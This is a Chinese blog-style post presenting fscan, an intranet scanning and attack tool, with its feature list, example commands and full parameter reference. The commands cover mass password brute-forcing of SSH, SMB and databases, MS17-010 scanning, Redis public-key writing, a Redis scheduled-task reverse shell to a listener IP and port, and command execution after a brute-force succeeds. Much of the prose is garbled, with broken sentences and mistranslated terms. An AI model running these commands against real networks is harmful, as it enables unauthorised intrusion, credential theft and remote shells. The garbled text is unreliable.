大家好，感谢邀请，今天来为大家分享一下分享一个快速简单的内网安全漏洞扫描工具fscan的问题，以及和的一些困惑，大家要是还不太明白的话，也没有关系，因为接下来将为大家分享，希望可以帮助到大家，解决大家的问题，下面就开始吧！

根据该软件官方的说法，该工具支持主机生存检测、端口扫描、常用服务爆破、ms17010、redis批量公钥写入、定时任务反弹shell、读取win网卡信息、网页指纹识别、网页漏洞扫描、 netbios检测、域控识别等功能

主要功能

1.信息收集：

生存检测（icmp）端口扫描2.爆破功能：

各种服务爆破（ssh、smb等）数据库密码爆破（mysql、mssql、redis、psql等） 3.系统信息、漏洞扫描：

Netbios检测、域控识别、目标网卡信息获取、高危漏洞扫描（ms17010等） 4、Web检测功能：

webtitle检测网页指纹（常见cms、oa框架等）网页漏洞扫描（weblogic、st2等，支持xray POC） 5、漏洞利用：

Redis写入公钥或者写入定时任务ssh命令执行6.其他功能：

有文件保存经验的人可以自行编译。像我们这样的普通人只需下载编译好的工具即可使用。下载地址在最后。

使用比较简单，命令行运行即可

简单用法

fscan.exe -h 192.168.1.1/24（默认使用所有模块） fscan.exe -h 192.168.1.1/16（B 段扫描）

其他用法

fscan.exe -h 192.168.1.1/24 – np – no -nopoc (跳过生存检测，不保存文件，跳过web poc扫描) fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis写入公钥) fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666（redis定时任务反弹shell） fscan.exe -h 192.168.1.1/24 -c whoami（ssh爆破成功后执行命令） fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 （指定模块ssh和端口） fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt （加载指定文件的用户名和密码进行爆破） fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径，默认保存在当前路径) fscan.exe -h 192.168.1.1/8 (192.x.x.1 和192.x.x.254 A网段，方便快速查看网段信息） fscan.exe -h 192.168.1.1/24 -m smb -pwd 密码（smb密码冲突） fscan.exe -h 192.168.1.1/24 -m ms17010（指定模块) fscan.exe -hf ip.txt (with File import)

完整参数

-c stringssh 命令执行-cookie string set cookie-debug int 长时间无响应后，打印当前进度（默认60） -domain stringsmb 爆破时模块，设置域名-h string target ip: 192.168.11.11 | 192.168 .11.11-255 | 192.168.11.11,192.168.11.12 -hf 字符串读取文件中的目标-hn 字符串扫描时跳过，ip: -hn 192.168.1.1/24 -m 字符串设置扫描模式： -m ssh (默认’all’) – no 扫描结果不保存到文件-nobr 跳过sql、ftp、ssh 等密码爆破-nopoc 跳过web poc 扫描-np 跳过生存检测-num intweb poc 数据包发送速率（默认20） -o string 去向保存扫描结果（默认’result.txt’） -p string 设置扫描端口： 22 | 1-65535 | 22,80,3306 (默认’21,22,80,81,135,139,443,445,1433,3306, 5432,6379,7001,8000,8080,8089,9000,9200,11211,27017′) -pa 字符串添加需要的新端口待扫描， -pa 3389 （会在原有端口列表的基础上添加端口） -path stringfcgi，smb 远程文件路径-ping 使用ping 代替icmp 进行存活检测-pn string 扫描时要跳过的端口，as: -pn 445 -pocname string 指定web poc的模糊名称， -pocname weblogic-proxy string 设置代理， – proxy http://127.0.0.1:8080 -user string 指定爆破时的用户名-userf string 指定爆破时的用户名文件- pwd string 指定爆破时的密码-pwdf string 指定爆破时的密码文件-rf string 指定redis写入公钥文件的模块（as: -rf id_rsa.pub） -rs stringredis定时任务反弹shell ip端口（as: – rs 192.168.1.1:6666) -silent 静默扫描，适合cs扫描，无回显-sshkey stringssh 连接，指定ssh私钥-t int 扫描线程（默认600） -time int 端口扫描超时（默认3） -u string 指定Url扫描-uf string 指定Url文件扫描-wt intweb 访问超时时间（默认5）测试截图：